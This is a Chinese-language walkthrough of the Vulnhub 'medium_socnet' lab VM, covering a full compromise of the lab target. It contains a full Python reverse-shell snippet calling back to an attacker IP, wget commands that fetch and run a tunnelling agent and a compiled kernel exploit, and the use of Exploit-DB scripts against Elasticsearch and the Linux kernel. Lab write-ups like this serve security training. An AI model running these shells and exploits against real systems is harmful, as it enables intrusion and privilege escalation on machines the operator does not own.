kali之vulhub,medium_socnet

目录

一、部署环境

二、进行主机发现,arp-scan进行扫描

三、使用nmap扫描发现的靶机IP

1.全端口扫描,看服务

2.查看端口所用服务版本

3.登录ip地址看一下 

四、扫目录(dirsearch脚本;和windous御剑类似)

1.安装dirsearch

2.开扫

3.登录网址/admin

(1)开启侦听

(2)进行python反弹shell

(3)id查看当前登录的用户

(4)如何判断是一个docker系统呢

五、跳出docker容器系统隔离环境

1.查看容器ip

六、内网穿透

ok,内网穿透到此结束

七、对内网地址172.17.0.1进行扫描

1.端口服务扫描

2.登录内网172.17.0.1地址

(1)配置代理

(2)访问

八、对内网地址172.17.0.2进行扫描

1.扫端口和服务版本

2.搜索Elasticsearch已知漏洞

 3.利用漏洞

(1)复制到当前文件夹下

(2)拿到容器root

 (4)对这个容器信息收集

 九、利用开放的22端口ssh服务

十、提权

1.查看内核版本

 2.查询相关漏洞

(1)复制到本地

(2)查看并编辑

 (3)在kali本机找ofs-lib.so

(4)编译37292.c文件

 (5)开启http服务

(6)下载编译好的文件

(7)全部移入tmp文件夹下

 十一、成功拿到宿主机root权限


一、部署环境

靶机下载地址:

https://download.vulnhub.com/boredhackerblog/medium_socnet.ova

虚拟机网络连接方式采用nat模式即可,靶机和kali位于同一网段下。

二、进行主机发现,arp-scan进行扫描

sudo arp-scan -l

三、使用nmap扫描发现的靶机IP

1.全端口扫描,看服务

sudo nmap -p- 192.168.29.128

发现开放了两个端口22,5000

2.查看端口所用服务版本

sudo nmap -p22,5000 -sV 192.168.29.128

3.登录ip地址看一下 

没看出来啥

四、扫目录(dirsearch脚本;和windous御剑类似)

1.安装dirsearch

(1)sudo su  进入超级用户

(2)apt-get update 更新库

(3)apt-get install dirsearch 下载

2.开扫

dirsearch -u http://192.168.29.128

在5000扫出来一个/admin目录

3.登录网址/admin

输入网址加端口进入后台

(1)开启侦听

nc -nvlp 4444

(2)进行python反弹shell

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.29.129",4444))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

(3)id查看当前登录的用户

注意:老师说这个很诡异,拿到的不是宿主机的最高权限,而是docker容器系统的权限

(4)如何判断是一个docker系统呢

查看两个文件是否存在

两条命令:ls /.dockerenv

cat /proc/1/cgroup

五、跳出docker容器系统隔离环境

1.查看容器ip

ip a与ipconfig命令相似

2.主机发现

1.简易脚本:

for i in $(seq 1 10); do ping -c 1 172.17.0.$i ; done

2.发现其他ip

六、内网穿透

1.下载venom

Releases · Dliv3/Venom · GitHubhttps://github.com/Dliv3/Venom/releases2.启动服务侦听9999端口

 3.在服务端开启http服务

先切换到venom\ v1.1.0 文件夹下,在开启http的80端口服务

python3 -m http.server 80

4.在客户端下载a文件(将venom中的agent x64 linux重命名为了a)

wget http://192.128.29.129/a

(1)下载完成

(2)给予权限

 chmod +x a

5.连接服务端

./a -rhost 192.168.29.129 -rport 9999

successfully connects 成功连接

 6.服务端查看连接,到节点去,启动一个侦听代理

show

goto 1

socks 1080

 7.使用proxychains(命令行代理神器)

使用它是为了让我们nmap等探测工具可以通过代理来扫描到内网主机

(1)修改proxychains的配置文件

将 socks4改为socks5 ,端口改为1080

ok,内网穿透到此结束

七、对内网地址172.17.0.1进行扫描

1.端口服务扫描

proxychains nmap -Pn -sT 172.17.0.1

挂上端口号和-sV参数继续扫描,查看服务版本

proxychains nmap -p22,5000 -Pn -sV -sT  172.17.0.1

 通过观察我们可以发现,01这个ip和我们刚开始发现的ip,不管是版本还是服务全都一模一样

2.登录内网172.17.0.1地址

(1)配置代理

(2)访问

 可以发现此页面与之前的页面完全一样,可以推断出原ip就是宿主机ip,内网ip是指向docker容器的一个ip

八、对内网地址172.17.0.2进行扫描

1.扫端口和服务版本

扫到一个9200端口之后对这个端口进行服务版本扫描

发现其中存在Elasticsearch。

2.搜索Elasticsearch已知漏洞

kali本身带有一些漏洞库,利用命令搜索

searchsploit Elasticsearch

 3.利用漏洞

(1)复制到当前文件夹下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

(2)拿到容器root

python2 36337.py 172.17.0.2

 (4)对这个容器信息收集

发现有个passwords文件,查看一下 ,发现有账号和加密后的密码

解密后的值为1337hack

 九、利用开放的22端口ssh服务

ssh john@192.168.29.128

 可以成功登录,但是利用切换到root用户不成功,只是普通用户。

十、提权

利用内核版本来进行提权

1.查看内核版本

uname -a

 2.查询相关漏洞

利用这条漏洞

(1)复制到本地

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

(2)查看并编辑

由于调用了外部库文件,用gcc生成共享二进制文件so,由于gcc在容器主机没有安装,所有无法正常编译,所以要修改代码并在kali服务端编译好。

将代码调用外部库文件编译二进制文件删除掉

 (3)在kali本机找ofs-lib.so

并且拷贝到本地

locate ofs-lib.so

(4)编译37292.c文件

gcc -o exp 37292.c

 (5)开启http服务

python3 -m http.server 80

(6)下载编译好的文件

wget http://192.168.29.129/ofs-lib.so

wget http://192.168.29.129/exp

(7)全部移入tmp文件夹下

此举是为了保证可以正确执行。

mv * /tmp

给予权限

chmod +x exp

id查看一下

 十一、成功拿到宿主机root权限

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值